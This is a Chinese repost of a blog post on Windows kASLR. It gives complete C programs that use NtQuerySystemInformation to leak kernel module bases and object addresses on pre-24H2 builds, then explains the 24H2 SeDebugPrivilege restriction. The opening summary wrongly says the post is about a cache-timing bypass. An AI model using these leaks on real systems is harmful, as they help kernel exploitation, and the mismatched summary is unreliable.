这篇文章由@r0keb
撰写,详细介绍了一种针对现代Windows 11版本的kASLR(内核地址空间布局随机化)绕过技术。文章聚焦于利用Intel CPU的缓存定时(Cache Timing)特性来提取Windows内核模块ntoskrnl.exe的基址。kASLR是一种安全机制,通过随机化内核模块的内存地址来增加攻击难度,而这篇文章描述了一种通过分析CPU缓存行为来推断内核地址的技术。内容较为技术化,涵盖了方法的原理、实现步骤以及技术细节,适合对操作系统安全和低级攻击技术感兴趣的读者。
早上好!今天的博客不会太长,但这并不意味着它不重要。
ASLR(地址空间布局随机化)可能是所有软件中实现的最古老的缓解措施之一。此缓解措施会将给定软件中的地址范围随机化,旨在消除攻击者可能利用来执行某些功能的静态地址。
正如预期的那样,Windows 内核也实现了这种缓解措施,kASLR并且随着每个新版本的发布而不断改进。
本博客结合了一些研究,旨在区分中等完整性进程Nt可用的函数代码,这些函数曾用于绕过 kASLR。我们还将探讨后续补丁及其实现方式。
kASLR(前24H2)
在版本之前24H2,可以Nt非常直接地从用户模式调用函数。最常用的可能是NtQuerySystemInformation,其表示如下:
__kernel_entry NTSTATUS NtQuerySystemInformation( [in] SYSTEM_INFORMATION_CLASS SystemInformationClass, [in, out] PVOID SystemInformation, [in] ULONG SystemInformationLength, [out, optional] PULONG ReturnLength);
据微软称:
"[**NtQuerySystemInformation** may be altered or unavailable in future versions of Windows. Applications should use the alternate functions listed in this topic.]Retrieves the specified system information."
事实也确实如此——但我们不要操之过急。
NtQuerySystemInformation从字面上看,返回的是 KM 地址或数据 — — 您所要做的就是传递以下标志之一:
List of KASLR bypass techniques in Windows 10 kernel.1. ZwQuerySystemInformation/SystemModuleInformation2. ZwQuerySystemInformation/SystemModuleInformationEx3. ZwQuerySystemInformation/SystemProcessInformation4. ZwQuerySystemInformation/SystemExtendedProcessInformation5. ZwQuerySystemInformation/SystemSessionProcessInformation6. ZwQuerySystemInformation/SystemLocksInformation7. ZwQuerySystemInformation/SystemHandleInformation8. ZwQuerySystemInformation/SystemExtendedHandleInformation9. ZwQuerySystemInformation/SystemObjectInformation10. ZwQuerySystemInformation/SystemBigPoolInformation11. ZwQuerySystemInformation/SystemSessionBigPoolInformation12. ZwQueryInformationProcess/ProcessHandleTracing13. ZwQueryInformationProcess/ProcessWorkingSetWatch14. ZwQueryInformationProcess/ProcessWorkingSetWatchEx
标志值如下:
//0x4 bytes (sizeof)enum _SYSTEM_INFORMATION_CLASS{ SystemBasicInformation = 0,... SystemModuleInformation = 11,... SystemPagedPoolInformation = 14, SystemNonPagedPoolInformation = 15, SystemHandleInformation = 16, SystemObjectInformation = 17, SystemPageFileInformation = 18,... SystemExtendedProcessInformation = 57,... SystemEmulationBasicInformation = 62, SystemEmulationProcessorInformation = 63, SystemExtendedHandleInformation = 64, SystemLostDelayedWriteInformation = 65, SystemBigPoolInformation = 66, SystemSessionPoolTagInformation = 67, SystemSessionMappedViewInformation = 68,... SystemModuleInformationEx = 77,... MaxSystemInfoClass = 248};
这些是一些最重要的标志。您可以在flags中找到所有可用的标志。
要执行这个奇妙的功能,只需创建一个函数指针,获取NtQuerySystemInformationfrom的地址ntdll.dll,然后将其强制转换以供稍后执行即可。
由于这是一个半文档化的功能,某些结构可能在 MSDN 上不可用,因此我们必须在 GitHub 或互联网上寻找它们。
让我们看一个最基本、最常见的例子。在旧版本的 Windows 10 上(Windows 10 1507),我们将使用此函数检索基址ntoskrnl.exe。为此,我们需要SystemModuleInformation标志位(十进制值 11)和结构体PSYSTEM_MODULE_INFORMATION ,我们可以从这个很棒的GitHub 仓库获得它https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtQuerySysInfo_SystemModuleInformation/NtQuerySysInfo_SystemModuleInformation/NtQuerySysInfo_SystemModuleInformation.cpp
1: kd> lm m ntBrowse full moduleliststart endmodulenamefffff800`b6a7d000 fffff800`b72cf000 nt (pdb symbols) c:symbolsntkrnlmp.pdbC68EE22FDCF6477895C54A862BE165671ntkrnlmp.pdb
事实上,在这种情况下地址将是0xfffff800b6a7d000。
代码如下:
#include<stdio.h>#include<windows.h>//// MODULE INFOMATION//#define MAXIMUM_FILENAME_LENGTH 255 //0x4 bytes (sizeof)enum _SYSTEM_INFORMATION_CLASS{ SystemModuleInformation = 11};//// MODULE INFORMATION STRUCTURES//typedefstructSYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2;#ifdef _WIN64 ULONG Reserved3;#endif PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; CHAR Name[MAXIMUM_FILENAME_LENGTH];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedefstructSYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;//// FUNCTION POINTER//typedefNTSTATUS(*_NtQuerySystemInformation)( _SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );intmain(){// cast the pointer to NtQuerySystemInformation inside ntdll.dll to NtQuerySystemInformation function pointer _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");if (NtQuerySystemInformation == nullptr) {printf("n[ERROR] Error getting the "NtQuerySystemInformation" function pointer: %dn", GetLastError());return-1; } NTSTATUS Status = 1; ULONG ReturnLength = 0; NtQuerySystemInformation(SystemModuleInformation, nullptr, 0, &ReturnLength);if (ReturnLength == 0) {printf("n[ERROR] Error getting the length to "SystemModuleInformation"n");return-1; } PSYSTEM_MODULE_INFORMATION SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(nullptr, ReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); Status = NtQuerySystemInformation(SystemModuleInformation, SystemModuleInfo, ReturnLength, &ReturnLength);if (Status != 0) {printf("n[ERROR] Error calling "NtQuerySystemInformation" for module info: 0x%0.16Xn", Status);return-1; }printf("n[kASLR Lab]:");printf("nt"SystemModuleInformation" flagntt");printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[0].Modules->Name, SystemModuleInfo[0].Modules->ImageBaseAddress);printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[1].Modules->Name, SystemModuleInfo[1].Modules->ImageBaseAddress);printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[2].Modules->Name, SystemModuleInfo[2].Modules->ImageBaseAddress);// SystemModuleInfo cleanup VirtualFree(SystemModuleInfo, ReturnLength, MEM_RELEASE); SystemModuleInfo = nullptr; ReturnLength = 0;return0;}
如我们所见,我们首先调用 来获取要分配的结构体的大小。为此,我们将一个指针传递给ReturnLength,它将存储适当的大小,以便我们在堆上为SYSTEM_MODULE_INFORMATION结构体分配内存。这个调用模式包含两个函数,第一个函数获取大小,第二个函数填充数据结构体。
现在我们来看看代码的一个变体。我们将使用相同的函数请求更多内核模式数据。这次,我们将使用另外两个标志。
如图所示,我们请求SystemModuleInformation、SystemExtendedProcessInformation和SystemExtendedHandleInformation。
代码如下:
#include<stdio.h>#include<windows.h>//// MODULE INFOMATION//#define MAXIMUM_FILENAME_LENGTH 255 //0x4 bytes (sizeof)enum _SYSTEM_INFORMATION_CLASS{ SystemModuleInformation = 11, SystemExtendedProcessInformation = 57, SystemExtendedHandleInformation = 64};//// MODULE INFORMATION STRUCTURES//typedefstructSYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2;#ifdef _WIN64 ULONG Reserved3;#endif PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; CHAR Name[MAXIMUM_FILENAME_LENGTH];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedefstructSYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;//// EXTENDED PROCESS INFOMATION STRUCTURES//typedef LONG KPRIORITY;typedefstruct _CLIENT_ID { DWORD UniqueProcess; DWORD UniqueThread;} CLIENT_ID;typedefstruct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING;//from http://boinc.berkeley.edu/android-boinc/boinc/lib/diagnostics_win.htypedefstruct _VM_COUNTERS {// the following was inferred by painful reverse engineering SIZE_T PeakVirtualSize; // not actually SIZE_T PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T VirtualSize; // not actually} VM_COUNTERS;typedefenum _KWAIT_REASON{ Executive = 0, FreePage = 1, PageIn = 2, PoolAllocation = 3, DelayExecution = 4, Suspended = 5, UserRequest = 6, WrExecutive = 7, WrFreePage = 8, WrPageIn = 9, WrPoolAllocation = 10, WrDelayExecution = 11, WrSuspended = 12, WrUserRequest = 13, WrEventPair = 14, WrQueue = 15, WrLpcReceive = 16, WrLpcReply = 17, WrVirtualMemory = 18, WrPageOut = 19, WrRendezvous = 20, Spare2 = 21, Spare3 = 22, Spare4 = 23, Spare5 = 24, WrCalloutStack = 25, WrKernel = 26, WrResource = 27, WrPushLock = 28, WrMutex = 29, WrQuantumEnd = 30, WrDispatchInt = 31, WrPreempted = 32, WrYieldExecution = 33, WrFastMutex = 34, WrGuardedMutex = 35, WrRundown = 36, MaximumWaitReason = 37} KWAIT_REASON;typedefstruct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason;#ifdef _WIN64 ULONG Reserved[4];#endif}SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;typedefstruct _SYSTEM_EXTENDED_THREAD_INFORMATION{ SYSTEM_THREAD_INFORMATION ThreadInfo; PVOID StackBase; PVOID StackLimit; PVOID Win32StartAddress; PVOID TebAddress; /* This is only filled in on Vista and above */ ULONG Reserved1; ULONG Reserved2; ULONG Reserved3;} SYSTEM_EXTENDED_THREAD_INFORMATION, * PSYSTEM_EXTENDED_THREAD_INFORMATION;typedefstruct _SYSTEM_EXTENDED_PROCESS_INFORMATION{ ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER SpareLi1; LARGE_INTEGER SpareLi2; LARGE_INTEGER SpareLi3; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; PVOID PageDirectoryBase; VM_COUNTERS VirtualMemoryCounters; SIZE_T PrivatePageCount; IO_COUNTERS IoCounters; SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1];} SYSTEM_EXTENDED_PROCESS_INFORMATION, * PSYSTEM_EXTENDED_PROCESS_INFORMATION;//// EXTENDED HANDLE INFOMATION STRUCTURES//typedefstruct _SYSTEM_HANDLE{ PVOID Object; HANDLE UniqueProcessId; HANDLE HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved;} SYSTEM_HANDLE, * PSYSTEM_HANDLE;typedefstruct _SYSTEM_HANDLE_INFORMATION_EX{ ULONG_PTR HandleCount; ULONG_PTR Reserved; SYSTEM_HANDLE Handles[1];} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;//// FUNCTION POINTER STRUCTURES//typedefNTSTATUS(*_NtQuerySystemInformation)( _SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);intmain(){ _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");if (NtQuerySystemInformation == nullptr) {printf("n[ERROR] Error getting the "NtQuerySystemInformation" function pointer: %dn", GetLastError());return-1; } NTSTATUS Status = 1; ULONG ReturnLength = 0; NtQuerySystemInformation(SystemModuleInformation, nullptr, 0, &ReturnLength);if (ReturnLength == 0) {printf("n[ERROR] Error getting the length to "SystemModuleInformation"n");return-1; } PSYSTEM_MODULE_INFORMATION SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(nullptr, ReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); Status = NtQuerySystemInformation(SystemModuleInformation, SystemModuleInfo, ReturnLength, &ReturnLength);if (Status != 0) {printf("n[ERROR] Error calling "NtQuerySystemInformation" for module info: 0x%0.16Xn", Status);return-1; }printf("n[kASLR Lab]:");printf("nt"SystemModuleInformation" flagntt");printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[0].Modules->Name, SystemModuleInfo[0].Modules->ImageBaseAddress);printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[1].Modules->Name, SystemModuleInfo[1].Modules->ImageBaseAddress);printf("[Name] "%s"ntt[Address] 0x%pnntt", SystemModuleInfo[2].Modules->Name, SystemModuleInfo[2].Modules->ImageBaseAddress);// SystemModuleInfo cleanup VirtualFree(SystemModuleInfo, ReturnLength, MEM_RELEASE); SystemModuleInfo = nullptr; ReturnLength = 0; NtQuerySystemInformation(SystemExtendedProcessInformation, nullptr, 0, &ReturnLength);if (ReturnLength == 0) {printf("n[ERROR] Error getting the length to "SystemExtendedProcessInformation"n");return-1; } PSYSTEM_EXTENDED_PROCESS_INFORMATION SysProcessInfoEx = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)VirtualAlloc(nullptr, ReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); Status = NtQuerySystemInformation(SystemExtendedProcessInformation, SysProcessInfoEx, ReturnLength, &ReturnLength);if (Status != 0) {printf("n[ERROR] Error calling "NtQuerySystemInformation" for process info Ex: 0x%0.16Xn", Status);return-1; }printf("nt"SystemExtendedProcessInformation" flagntt");printf("[Main Thread StackBase] 0x%pntt", SysProcessInfoEx->Threads[0].StackBase);printf("[Main Thread StackLimit] 0x%pnntt", SysProcessInfoEx->Threads[0].StackLimit);// SysProcessInfoEx cleanup VirtualFree(SysProcessInfoEx, ReturnLength, MEM_RELEASE); SysProcessInfoEx = nullptr; ReturnLength = 0; PSYSTEM_HANDLE_INFORMATION_EX SysHandleInfoEx = nullptr; Status = 1; ReturnLength = 1;while (Status != 0) {if (SysHandleInfoEx != nullptr) { VirtualFree(SysHandleInfoEx, ReturnLength, MEM_RELEASE); SysHandleInfoEx = nullptr; } ReturnLength *= 2; SysHandleInfoEx = (PSYSTEM_HANDLE_INFORMATION_EX)VirtualAlloc(nullptr, ReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); ULONG length = 0; Status = NtQuerySystemInformation(SystemExtendedHandleInformation, SysHandleInfoEx, ReturnLength, &length); }printf("nt"SystemHandleInformation" flagntt");printf("[Handle Count] %dntt", SysHandleInfoEx->HandleCount);for (unsignedint i = 0; i < SysHandleInfoEx->HandleCount; i++) {if ((DWORD)SysHandleInfoEx->Handles[i].UniqueProcessId == GetProcessId(((HANDLE)-1))) {printf("[PROC ID] %dntt", SysHandleInfoEx->Handles[i].UniqueProcessId);printf("[Handle Value] 0x%pntt", SysHandleInfoEx->Handles[i].HandleValue);printf("[ObjectValue] 0x%pntt", SysHandleInfoEx->Handles[i].ObjectTypeIndex);printf("[Kernel Object (_KTHREAD...)] 0x%pntt", SysHandleInfoEx->Handles[i].Object);break; } }// SysHandleInfoEx cleanup VirtualFree(SysHandleInfoEx, ReturnLength, MEM_RELEASE); SysHandleInfoEx = nullptr; ReturnLength = 0;return0;}
这段代码中需要重点强调的是,我们ReturnLength在请求时是如何获取的。这是因为前面提到的方法在这里失败了,所以我们会根据调用是否返回STATUS_SUCCESSSystemExtendedHandleInformation来不断分配更多的空间。如果没有返回,则循环重复。NtQuerySystemInformation
最终,这两个例子表明,确实可以从用户模式获取非常有价值的信息,这对于以后的利用很有用。
现在让我们看看这个功能实际上是如何工作的。
NtQuerySystemInformation 内部机制
以下是IDA中该函数的伪代码:
NTSTATUS __stdcall NtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){ __int16 *p_Group; // rdx __int64 v7; // r8 NTSTATUS result; // eax __int16 Group; // [rsp+40h] [rbp+8h] BYREFif ( SystemInformationClass >= SystemWow64SharedInformationObsolete && SystemInformationClass < SystemProcessorIdleCycleTimeInformation || SystemInformationClass < SystemProcessorPerformanceInformation ) {LABEL_3: p_Group = 0; v7 = 0;return ExpQuerySystemInformation( SystemInformationClass, p_Group, v7, SystemInformation, SystemInformationLength, ReturnLength); }else {switch ( SystemInformationClass ) {case SystemProcessorPerformanceInformation:case SystemInterruptInformation:case SystemPowerInformationNative:case SystemProcessorPowerInformation:case SystemProcessorIdleCycleTimeInformation:case SystemPrefetchPathInformation|SystemPathInformation:case SystemPrefetchPathInformation|SystemLocksInformation:case SystemStackTraceInformation|0x80: v7 = 2; Group = KeGetCurrentPrcb()->Group; p_Group = &Group;return ExpQuerySystemInformation( SystemInformationClass, p_Group, v7, SystemInformation, SystemInformationLength, ReturnLength);case SystemLogicalProcessorInformation: v7 = 2; Group = 0; p_Group = &Group;return ExpQuerySystemInformation( SystemInformationClass, p_Group, v7, SystemInformation, SystemInformationLength, ReturnLength);case MaxSystemInfoClass|SystemFlagsInformation:case SystemVerifierFaultsInformation|SystemDpcBehaviorInformation: result = -1073741821;break;default:goto LABEL_3; } }return result;}
正如我们所见,它只是一个包装器ExpQuerySystemInformation,它是一个庞大的函数……
由于函数的大小,我们重点关注示例11,它对应于SystemModuleInformation。
如图所示,有一个对的调用ExIsRestrictedCaller(),如下所示:
_BOOL8 __fastcall ExIsRestrictedCaller(char a1){ BOOLEAN v1; // bl _BOOL8 result; // raxstruct _SECURITY_SUBJECT_CONTEXTSubjectContext;// [rsp+50h] [rbp-28h] BYREF NTSTATUS AccessStatus; // [rsp+80h] [rbp+8h] BYREF ACCESS_MASK GrantedAccess; // [rsp+88h] [rbp+10h] BYREF result = 0;if ( a1 ) { SeCaptureSubjectContextEx(KeGetCurrentThread(), KeGetCurrentThread()->ApcState.Process, &SubjectContext); v1 = SeAccessCheck( SeMediumDaclSd, &SubjectContext,0,0x20000u,0,0, (PGENERIC_MAPPING)&ExpRestrictedGenericMapping,1, &GrantedAccess, &AccessStatus); SeReleaseSubjectContext(&SubjectContext);if ( v1 != 1 || AccessStatus < 0 )return1; }return result;}
该函数检查并将信息返回给ExpQuerySystemInformation,但在24H2发生了重大变化。
kASLR(帖子24H2)
现在我们来看看NtQuerySystemInformation之后的情况24H2。
为了测试这一点,我们将再次运行这两个程序。但剧透一下:它们都不会起作用。
果然,没有返回任何地址。这是为什么呢?
NtQuerySystemInformation 内部机制
首先,我们有NtQuerySystemInformation()如下版本1507:
NTSTATUS __fastcall NtQuerySystemInformation(int a1, _QWORD *a2, ULONG a3, ULONG *a4){ __int16 *p_PrimaryGroupThread; // rdx ULONG *v6; // r11int v8; // r10dint v9; // r8d __int16 PrimaryGroupThread; // [rsp+40h] [rbp+8h] BYREF p_PrimaryGroupThread = 0; v6 = a4; PrimaryGroupThread = 0; v8 = a1;switch ( a1 ) {case8:case23:case42:case61:case83:case100:case108:case141: PrimaryGroupThread = KeQueryPrimaryGroupThread(KeGetCurrentThread());goto LABEL_5;case73:LABEL_5: p_PrimaryGroupThread = &PrimaryGroupThread; v9 = 2;return ExpQuerySystemInformation(v8, (__int64)p_PrimaryGroupThread, v9, a2, a3, v6);case107:case121:case180:case210:case211:case222:case231:case238:case239:case240:return0xC0000003;default: v9 = 0;return ExpQuerySystemInformation(v8, (__int64)p_PrimaryGroupThread, v9, a2, a3, v6); }}
然后检查里面有什么……
__int64 __fastcall ExIsRestrictedCaller(KPROCESSOR_MODE a1, _DWORD *a2){unsignedint v2; // edi BOOLEAN v5; // blstruct _SECURITY_SUBJECT_CONTEXTSubjectContext;// [rsp+50h] [rbp-28h] BYREF NTSTATUS AccessStatus; // [rsp+80h] [rbp+8h] BYREF ACCESS_MASK GrantedAccess; // [rsp+88h] [rbp+10h] BYREF v2 = 0; AccessStatus = 0; GrantedAccess = 0;memset(&SubjectContext, 0, sizeof(SubjectContext));if ( a2 ) *a2 = 0;if ( !a1 )return0;if ( a2 && (unsignedint)Feature_RestrictKernelAddressLeaks__private_IsEnabledDeviceUsageNoInline() ) *a2 = SeSinglePrivilegeCheck(SeDebugPrivilege, a1) == 0; SeCaptureSubjectContext(&SubjectContext); v5 = SeAccessCheck( SeMediumDaclSd, &SubjectContext,0,0x20000u,0,0, (PGENERIC_MAPPING)&ExpRestrictedGenericMapping,1, &GrantedAccess, &AccessStatus); SeReleaseSubjectContext(&SubjectContext);if ( !v5 )return1; LOBYTE(v2) = AccessStatus < 0;return v2;}
我们看到使用 来检查a2SeSinglePrivilegeCheck是否被执行,从而验证了SeDebugPrivilege。我们也可以在 处设置断点来确认这一点, 也就是我们在执行之前nt!ExpQuerySystemInformation+0x770调用 的内存地址:ExIsRestrictedCaller ExpQueryModuleInformation
0: kd> bl0e Disable Clear fffff807`d9fb2ed0 0001 (0001) nt!ExpQuerySystemInformation+0x770
基本上,它会执行检查,如果SeDebugPrivilege启用,则NtQuerySystemInformation()运行不受限制。否则,执行会受到限制,如下行所示:
...if ( a2 && (unsignedint)Feature_RestrictKernelAddressLeaks__private_IsEnabledDeviceUsageNoInline() ) *a2 = SeSinglePrivilegeCheck(SeDebugPrivilege, a1) == 0;...
最终,调用此 API 来解析内核模式地址的选项不再可行,除非目标是管理员权限提升到内核权限,在这种情况下,它仍然适用。然而,既然我们不再依赖这一优势,问题仍然存在:如何绕过日益顽固的 kASLR?
本博客后续版本将解答这个问题。感谢您的阅读。
结束语
如前所述,这篇博文相对简短。它简要地介绍了最近的变化如何影响曾经常用的NtQuerySystemInformation()检索特权内核模式地址的方法。
早上好,如果我没见到你,那么祝你下午好、晚上好、晚安!
所有文章-点击阅读原文-可以直接跳转
原文始发于微信公众号(Ots安全):kASLR 内部结构和演进
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论